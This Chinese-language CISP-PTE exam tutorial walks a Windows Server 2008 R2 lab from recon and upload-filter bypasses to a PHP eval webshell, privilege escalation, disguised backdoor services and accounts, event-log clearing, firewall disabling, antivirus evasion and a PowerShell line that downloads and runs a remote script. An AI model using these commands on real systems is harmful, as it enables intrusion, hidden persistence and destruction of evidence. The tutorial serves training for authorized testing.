CISP-PTE实战:从Web渗透到Windows提权的完整攻击链解析
1. 项目概述一次完整的渗透测试实战演练最近在准备CISP-PTE认证的实操部分发现很多朋友对“从Web渗透到系统提权”这个完整链条的理解还是停留在理论层面尤其是面对像Windows Server 2008 R2这样的经典靶场环境时容易在各个环节卡壳。今天我就以一个典型的CISP-PTE靶机环境为蓝本带大家走一遍从外部信息探测到最终获取Shell的完整流程。整个过程会重点使用BurpSuite进行Web漏洞挖掘与利用并最终通过蚁剑等工具实现权限提升模拟一个贴近真实渗透测试工程师PTE的工作场景。无论你是正在备考CISP-PTE还是想系统性提升自己的内网渗透能力这篇实战记录都能提供一个清晰的、可复现的路径。我们不仅会操作更会拆解每一步背后的逻辑让你明白“为什么要这么做”以及“遇到问题该怎么排查”。2. 靶场环境与核心思路拆解2.1 靶场环境特征与攻击面分析我们面对的靶机是一台Windows Server 2008 R2。选择这个系统作为靶场非常有代表性首先它仍然是许多老旧内网系统中常见的服务器操作系统生命力顽强其次其默认配置和已知漏洞如MS17-010永恒之蓝在渗透测试中极具教学价值最后从CISP-PTE的考核角度看它涵盖了从外部Web应用到内部系统权限的完整攻击链。攻击的起点通常是一个对外开放的Web服务端口如80、443。我们的核心思路遵循经典的渗透测试流程信息收集 - 漏洞挖掘 - 漏洞利用 - 权限维持 - 横向移动/权限提升。在本场景中目标是从一个低权限的Web Shell例如通过文件上传或SQL注入获取的出发突破系统限制最终获取到目标服务器的最高权限通常是SYSTEM或Administrator。这中间会涉及对Windows系统服务、注册表、计划任务、内核漏洞等多方面的知识运用。2.2 工具选型与策略考量工欲善其事必先利其器。针对Win2008 R2的渗透工具链的选择直接关系到效率和成功率。信息收集与扫描Nmap 是毋庸置疑的端口扫描和版本探测利器。对于Web路径和敏感文件发现Dirsearch 或 Gobuster 比传统的御剑速度更快、更精准。BurpSuite 作为中间人代理将是我们拦截、重放、扫描Web请求的核心它的Intruder模块在暴力破解和模糊测试时无可替代。漏洞利用与Web渗透对于常见的SQL注入、文件上传漏洞手工结合Sqlmap、BurpSuite往往能取得奇效。一旦发现文件上传点我们会尝试上传一句话木马如PHP、ASPX并用中国菜刀或蚁剑进行连接。这里选择蚁剑AntSword是因为其跨平台、插件化且支持加密连接在绕过简单WAF方面有优势。提权与后渗透获取Web Shell后我们进入了一个受限的命令执行环境。此时需要信息收集来寻找提权突破口。常用的本地信息收集脚本有Windows-Exploit-Suggester、PowerUp.ps1PowerSploit套件的一部分、JAWS等。根据收集到的系统补丁、安装的服务、权限配置等信息我们再决定提权路径是利用未打补丁的系统漏洞如MS16-032、MS17-010还是利用错误配置的服务权限如AlwaysInstallElevated、或是滥用计划任务等。注意所有操作必须在授权的靶场或实验环境中进行。未经授权对任何系统进行渗透测试都是非法行为。3. 外部信息收集与Web漏洞挖掘3.1 端口扫描与服务识别实战第一步我们需要知道靶机开了哪些门。使用Nmap进行一个全面的扫描nmap -sS -sV -O -p- 192.168.1.100-sS: SYN半开放扫描速度快且相对隐蔽。-sV: 探测端口上运行的服务及其版本。-O: 尝试识别操作系统。-p-: 扫描所有65535个端口。扫描结果可能显示开放了80端口HTTP、445端口SMB、3389端口RDP等。对于Web渗透我们聚焦80/443端口。假设发现80端口运行着IIS 7.5Win2008 R2的默认Web服务器这就是我们的主攻方向。3.2 目录爆破与敏感文件发现知道有Web服务后下一步是探索网站结构。使用Dirsearch进行目录爆破python3 dirsearch.py -u http://192.168.1.100 -e php,asp,aspx,jsp,html,htm -t 50这个命令会尝试用字典去猜测目标服务器上存在的目录和文件。-e参数指定了常见的Web脚本后缀。在结果中我们可能会发现诸如/admin/、/upload/、/phpmyadmin/、/backup/等关键目录或是robots.txt、crossdomain.xml等可能泄露信息的文件。手动浏览网站观察功能点如登录框、搜索框、文件上传点、留言板等这些都是潜在的漏洞入口。同时用BurpSuite代理浏览器流量查看每一个请求和响应寻找隐藏参数、不安全的Cookie、有趣的响应头等信息。3.3 漏洞挖掘实战以文件上传为例假设我们在/upload/目录下发现了一个文件上传功能。这是Web渗透中极高价值的突破口。基础绕过测试首先尝试上传一个正常的图片文件确认功能可用。然后尝试上传一个简单的文本文件内容为?php phpinfo();?保存为test.php。如果服务器仅通过后缀名如.php过滤此步可能直接成功。前端绕过如果页面有JavaScript校验可以尝试禁用浏览器JS或使用BurpSuite拦截上传请求修改文件名test.jpg为test.php后再放行。服务端绕过黑名单绕过尝试非常规后缀如test.php5,test.phtml,test.phps,.htaccess配合解析漏洞等。内容检测绕过在PHP代码前添加图片文件头如GIF89a制作图片马。或者利用exif_imagetype()函数只检测文件头部的特性。解析漏洞对于IIS可以尝试test.asp;.jpg或test.asp:.jpg需特定条件。对于Apache可尝试test.php.jpg如果配置了错误的多重后缀解析。竞争条件上传一个内容为生成木马的文件在上传成功到被安全组件删除的极短时间内访问它从而执行代码。在BurpSuite的Repeater模块中我们可以反复修改上传请求的各个部分文件名、Content-Type、文件内容进行测试。一旦上传成功并且能通过Web访问到该文件如http://192.168.1.100/upload/test.php并看到代码执行结果如phpinfo页面我们就获得了最初的立足点。4. WebShell连接与内网信息收集4.1 蚁剑连接与初步控制上传一个功能更强大的WebShell例如一句话木马?php eval($_POST[‘ant’]);?保存为shell.php。使用蚁剑添加Shell在蚁剑中添加数据URL填写http://192.168.1.100/upload/shell.php。连接密码填写ant与POST参数名一致。编码器选择defaultbase64可以有效绕过一些简单的流量检测。点击添加如果一切正常左侧会出现服务器文件树。连接成功后我们相当于拥有了一个在Web服务器进程如IIS的w3wp.exe权限下执行命令的能力。这个权限通常很低可能是IIS_IUSRS或NETWORK SERVICE我们需要收集信息来寻求提权。4.2 系统内部信息收集在蚁剑的虚拟终端中执行一系列命令来绘制系统内部画像# 查看当前用户权限 whoami whoami /priv # 查看系统信息 systeminfo # 查看网络连接和监听端口 netstat -ano # 查看进程列表 tasklist # 查看已安装的软件和补丁 wmic product get name,version # 或查看补丁更准确 wmic qfe get Caption,Description,HotFixID,InstalledOn # 查看计划任务 schtasks /query /fo LIST /v # 查看服务及其权限寻找弱权限服务 sc query # 或者使用更详细的命令 accesschk.exe -uwcqv Authenticated Users * /accepteula # 需要上传accesschk工具 # 查看敏感文件或目录的权限 icacls C:\Windows\System32\cmd.exe icacls C:\Program Files将这些信息保存下来。特别是systeminfo的输出可以用于离线比对已知的提权漏洞。例如查看系统补丁是否缺少MS16-032、MS17-010等。同时关注哪些服务是以SYSTEM权限运行但目录或文件权限配置不当允许低权限用户修改。5. 系统提权路径分析与实战5.1 利用系统内核漏洞提权这是最直接有效的提权方式。将之前收集的systeminfo结果复制下来在本地使用Windows-Exploit-Suggester工具进行分析。# 更新漏洞数据库 python windows-exploit-suggester.py --update # 比对系统信息寻找可能的漏洞 python windows-exploit-suggester.py --systeminfo sysinfo.txt --database 2024-MM-DD-mssb.xls工具会列出可能适用的本地提权漏洞。例如它可能提示MS16-032Secondary Logon Handle漏洞在未打补丁的Win2008 R2上存在。我们可以从Exploit-DB或GitHub搜索对应的利用代码通常是一个PowerShell脚本或可执行文件。实战步骤将提权利用程序如MS16-032的PowerShell脚本Invoke-MS16-032.ps1上传到靶机可写目录。在蚁剑的Web Shell中尝试执行PowerShell命令来加载并运行该脚本。由于权限限制可能需要在命令前加上powershell -exec bypass -c “...”。如果利用成功会弹回一个具有更高权限通常是SYSTEM的Shell。我们可以通过蚁剑的“反弹Shell”功能或使用Netcat、PowerShell Empire等工具接收这个高权限会话。实操心得内核漏洞提权成功率虽高但动静大可能触发杀毒软件。务必先做好信息收集精准利用并准备好备用方案。如果靶机补丁较全此路可能不通。5.2 利用服务配置错误提权如果内核漏洞路径走不通我们转而寻找系统的“配置缺陷”。这里有几个经典方向服务路径/二进制文件权限不当使用sc qc 服务名查看某个服务的可执行文件路径。然后使用icacls “路径”检查该文件或所在目录的权限。如果发现某个以SYSTEM权限运行的服务其对应的.exe文件允许“Authenticated Users”或“Everyone”进行写入那么我们可以上传一个恶意的同名exe文件进行替换重启服务后即可获得SYSTEM权限。风险重启服务可能引起管理员警觉。AlwaysInstallElevated检查注册表项HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated和HKLM\...是否都被设置为1。如果是意味着任何MSI安装包都将以高权限运行。我们可以使用msfvenom生成一个恶意的MSI文件上传并执行即可提权。命令检查reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated计划任务提权查看计划任务schtasks寻找那些以高权限运行、且其执行的操作脚本或程序所在目录我们有写入权限的任务。我们可以替换该脚本等待任务执行。5.3 利用弱密码或令牌窃取如果通过Web渗透获取的Shell权限非常有限但发现系统内存在其他高权限进程或会话可以尝试本地密码哈希抓取上传Mimikatz或Procdump 本地解析尝试抓取内存中的明文密码或哈希。命令如privilege::debugsekurlsa::logonpasswords。但在Win2008 R2上需要绕过LSA保护等限制对操作者要求较高。令牌窃取如果发现有SYSTEM权限的进程如spoolsv.exe存在并且我们通过某些漏洞如PrintNightmare能模拟其令牌也可以获得SYSTEM权限。这通常需要更复杂的利用链。6. 权限维持与痕迹清理6.1 创建后门账户获得SYSTEM权限后为了长期控制通常需要创建一个隐藏的后门管理员账户。# 创建一个名为“$”的隐藏用户在命令行net user中不显示但在控制面板可见 net user hacker$ Pssw0rd! /add net localgroup administrators hacker$ /add # 更隐蔽的方式激活Guest账户并提权或修改现有不常用账户的密码 net user guest /active:yes net user guest Pssw0rd! net localgroup administrators guest /add注意这种基础方法在安全审计中容易被发现。更高级的做法是制作内存马、注册表注入后门、服务后门或计划任务后门。6.2 部署持久化后门服务后门创建一个自启动服务指向我们的木马程序。sc create “WindowsUpdateCheck” binPath “C:\Windows\Temp\backdoor.exe” start auto sc start WindowsUpdateCheck计划任务后门创建定时执行的计划任务。schtasks /create /tn “SystemHealthCheck” /tr “C:\Windows\Temp\backdoor.exe” /sc hourly /mo 1 /ru “SYSTEM”启动项后门将木马程序或脚本放入C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp所有用户或对应用户的AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup目录。6.3 清理入侵痕迹在授权测试结束前需要清理痕迹避免影响靶机后续使用或留下明显证据。删除日志清除事件查看器中安全、系统、应用程序日志的相关条目。可以使用wevtutil命令。wevtutil cl security wevtutil cl system wevtutil cl application注意这会清空整个日志在真实环境中需谨慎通常只删除特定事件ID的日志条目更隐蔽。删除上传的工具和WebShell使用del或rm命令删除上传的渗透工具、脚本和WebShell文件。删除创建的用户如果创建了后门账户在测试完成后将其删除。net user hacker$ /delete net user guest /active:no恢复修改的配置如果修改了服务、计划任务或注册表将其恢复原状。7. 常见问题排查与实战技巧在整套流程中你肯定会遇到各种报错和障碍。这里记录几个高频问题的解决思路问题1上传的WebShell无法访问或返回404/500错误。排查首先确认上传路径是否正确。其次检查服务器是否解析该后缀如上传了.php但服务器只解析.asp。用BurpSuite抓包查看上传请求的完整响应看是否有安全软件拦截的提示。最后检查WebShell代码本身是否有语法错误或使用了被禁用的函数如eval、system。可以尝试上传一个最简单的?php echo “test”;?来测试解析。问题2蚁剑连接WebShell成功但执行命令无回显或权限不足。排查这通常是Web服务器进程权限太低所致。执行whoami确认身份。尝试执行一些无害的命令如dir、echo %PATH%。如果完全无回显可能是disable_functions禁用了命令执行函数需要尝试其他函数或编码方式。蚁剑可以尝试切换不同的“编码器”和“连接类型”。问题3内核漏洞利用程序执行后没有返回高权限Shell。排查补丁状态再次确认systeminfo确保漏洞确实存在且未打补丁。有时漏洞有多个变种需要尝试不同的利用代码。利用程序兼容性确保利用程序exe或ps1与目标系统架构x86/x64匹配。Win2008 R2通常是64位但很多利用程序是32位的可能需要特殊参数或编译版本。杀软拦截上传的利用程序可能被实时防护删除。尝试对利用程序进行混淆、编码或使用内存加载PowerShell无文件落地的方式执行。会话稳定性反弹Shell的端口是否被防火墙阻挡监听端是否已正确启动问题4提权成功后无法进行网络通信如无法下载文件、无法反弹Shell。排查检查新获得的权限会话的网络配置。执行ipconfig /all和netstat -ano。可能是Windows防火墙阻止了出站连接。尝试在提权后的Shell中关闭防火墙netsh advfirewall set allprofiles state off或者使用允许的端口如80、443进行反弹。实战技巧记录信息收集要全面不要只盯着systeminfo进程列表、服务列表、网络连接、安装的软件、计划任务都可能藏着提权的钥匙。善用PowerShell在Windows靶场上PowerShell是比CMD强大得多的工具。很多提权脚本和后期利用工具都是PowerShell写的。即使Web Shell限制了某些功能也可以尝试powershell -c “iex (New-Object Net.WebClient).DownloadString(‘http://your-server/PowerUp.ps1’); Invoke-AllChecks”这样的远程加载方式。保持隐蔽在真实测试中尽量避免直接上传知名黑客工具如mimikatz.exe它们的特征码很容易被查杀。可以尝试自定义编译、代码混淆、或使用Living-off-the-Land Binaries (LOLBAS) 项目中的合法系统工具来实现恶意功能。多层跳板如果Web Shell不稳定提权成功后第一时间建立更稳定的通道如使用plink.exePutty Link建立SSH隧道或使用netsh添加端口转发将内网端口映射到攻击机。整个从Web渗透到系统提权的旅程就像一场精心策划的闯关游戏每一关都需要不同的知识储备和临场应变能力。Win2008 R2靶场是一个绝佳的练习场它几乎涵盖了传统内网渗透会遇到的大部分典型场景。多练、多思考、多总结把每一次“打靶”都当成真实环境来对待你的渗透测试技能树才会扎实地生长起来。最后记住所有的技术都应在法律和道德允许的范围内使用保护网络安全才是学习的最终目的。

相关新闻

Vue+SSM构建企业混合办公管理系统实践

Vue+SSM构建企业混合办公管理系统实践

1. 项目背景与核心需求解析这个系统是面向现代混合办公场景的一体化管理解决方案。随着企业办公模式的多样化,传统的线下考勤和纸质请假流程已经无法满足实际需求。我们团队最近为一家中型科技公司开发的这套系统,整合了活动报名、居家办公考勤和电子请假…

2026/10/6 3:31:00 阅读更多 →
从经典MMO源码剖析游戏服务器核心架构与设计思想

从经典MMO源码剖析游戏服务器核心架构与设计思想

1. 项目概述:从一份源码到一套架构思维如果你是一名C后台开发者,或者对游戏服务器这个“黑盒”充满好奇,那么一份名为“热血江湖”的服务端C源代码,其价值远超一份可以编译运行的代码。它更像是一张被时间定格的手术解剖图&#x…

2026/10/12 11:06:41 阅读更多 →
前端工程化与微前端架构方案落地:升级前先做这几项确认

前端工程化与微前端架构方案落地:升级前先做这几项确认

前端工程化与微前端架构方案落地:升级前先做这几项确认说明:本文的依赖冲突和协作问题均为示例场景。版本策略、隔离方式与回滚范围取决于宿主、子应用和共享依赖的实际契约。1. 周五晚上的紧急撤回:3个子应用在基座升级后全部报 Invalid Hoo…

2026/10/13 15:03:30 阅读更多 →

最新新闻

高职质检员转型品质管理的6大核心能力与实施路径

高职质检员转型品质管理的6大核心能力与实施路径

1. 高职学历质检专员转型品质管理分析的可行性路径我见过太多质检岗位的同事在职业发展上遇到瓶颈,特别是高职学历背景的同行。从重复性检测工作转向需要综合分析的品质管理岗位,确实存在知识结构和思维模式的差异。但根据我辅导过的37位成功转型案例来看…

2026/10/14 19:45:52 阅读更多 →
2026.10.13

2026.10.13

今天把第13章给看了一半多 感觉基础部分也不是很难 有些地方还是要多熟练下 明天就可以把听课部分给完结了今天英语记了百词斩五十词 和闪词过wordlist24

2026/10/14 19:45:52 阅读更多 →
Figma 席位计费对账建模:从席位审批到发票、卡交易的状态设计

Figma 席位计费对账建模:从席位审批到发票、卡交易的状态设计

团队 SaaS 订阅对账中,Figma 席位计费是常见的归因难题:成员刚加入,下一张发票就多了一项席位费用。内部系统如果只记了一条 member_added,就无法判断这笔钱来自复用已购空席位,还是审批时新增了付费席位。本文给出一套…

2026/10/14 19:45:52 阅读更多 →
研究生阶段核心能力提升路径与学术规划实用指南

研究生阶段核心能力提升路径与学术规划实用指南

研一新生必装 五个让你少走三年弯路的科研神器 刚进实验室的研一新生最容易陷入迷茫。不知道怎么确定研究方向,看不懂海量外文文献,不会设计合理的实验方案,数据处理和绘图一窍不通,写第一篇学术论文更是无从下手。别慌&#xff…

2026/10/14 19:45:52 阅读更多 →
AI 自动化逆向(四)人在 AI 逆向流程里到底做什么

AI 自动化逆向(四)人在 AI 逆向流程里到底做什么

AI 自动化逆向(四)人在 AI 逆向流程里到底做什么 本文是「AI 自动化逆向」系列第 4 篇。上一篇:我把一个逆向项目交给了 AI:它做到了什么程度;下一篇预告:控制组:区分「没有」和「没取到」。 前…

2026/10/14 19:45:52 阅读更多 →
【ESP32笔记】SDIO读写TF卡

【ESP32笔记】SDIO读写TF卡

本节目标:分清 SDIO 与 SPI 两种接法,学会用 FATFS 挂载 TF 卡,并用标准 C 文件 API 完成读写一、本节要解决的问题 ESP32 自带几 MB Flash,装完程序后剩下的空间有限,而且数据不方便拿到电脑上。遇到记录日志、存图片…

2026/10/14 19:44:52 阅读更多 →

日新闻

AnyPS5通用适配层设计:兼容性与性能的工程取舍

AnyPS5通用适配层设计:兼容性与性能的工程取舍

1. 从"AnyPS5"这个名字说起:它到底想解决什么问题第一次看到"AnyPS5"这个标题,我脑子里冒出来的第一个念头是:这大概率是一个围绕"跨平台运行"或者"通用适配"做文章的项目。名字里的"Any"…

2026/10/14 0:00:41 阅读更多 →
Flutter跨平台开发实战:二手交易应用与HarmonyOS适配

Flutter跨平台开发实战:二手交易应用与HarmonyOS适配

1. 项目概述:Flutter跨平台二手交易应用开发作为一名长期从事移动应用开发的工程师,我最近完成了一个基于Flutter框架的二手物品交易平台项目。这个项目最吸引我的地方在于它完美结合了Flutter的跨平台优势与HarmonyOS的生态特性,实现了"…

2026/10/14 0:00:41 阅读更多 →
DFS算法解决飞机降落调度问题实战

DFS算法解决飞机降落调度问题实战

1. 项目背景与核心思路飞机降落问题是一个经典的调度优化场景,也是算法竞赛和面试中的高频题目。这个题目要求我们合理安排多架飞机的降落顺序和时间,确保所有飞机都能安全着陆而不发生冲突。在实际航空管制中,这类问题直接关系到飞行安全和机…

2026/10/14 0:00:41 阅读更多 →

周新闻

流感时间序列预测实战:ARIMA/LSTM全流程拆解与避坑指南

流感时间序列预测实战:ARIMA/LSTM全流程拆解与避坑指南

简介:基于 ARIMA、LSTM、Transformer 等模型的流感时间序列预测 Python 源码,面向计算机相关专业课程设计与期末大作业学生,以及项目实战学习者。内容覆盖预处理、平稳性检验、定阶、残差分析、多模型对比预测的完整时序建模流程,…

2026/10/14 3:30:28 阅读更多 →
影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别

影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别

影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别 做影刀RPA自动化,十个新手有八个栽在"往输入框里填东西"这件事上:要么填不进去,要么填了一半,要么直接把原来内容追加在后面。这背后的根因&…

2026/10/14 16:30:29 阅读更多 →
影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容

影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容

影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容 1. 认识影刀:什么场景该用RPA采小说数据 起点中文网的页面结构相对稳定——分类榜单、书籍详情、章节内容三块独立页面,跳转链路清晰。这种场景非常适合影刀自动化&#x…

2026/10/14 3:29:58 阅读更多 →

月新闻

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/13 22:01:27 阅读更多 →
Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/13 14:57:39 阅读更多 →
黑夜航拍船只数据集训练YOLOV5模型全流程解析

黑夜航拍船只数据集训练YOLOV5模型全流程解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/14 7:53:34 阅读更多 →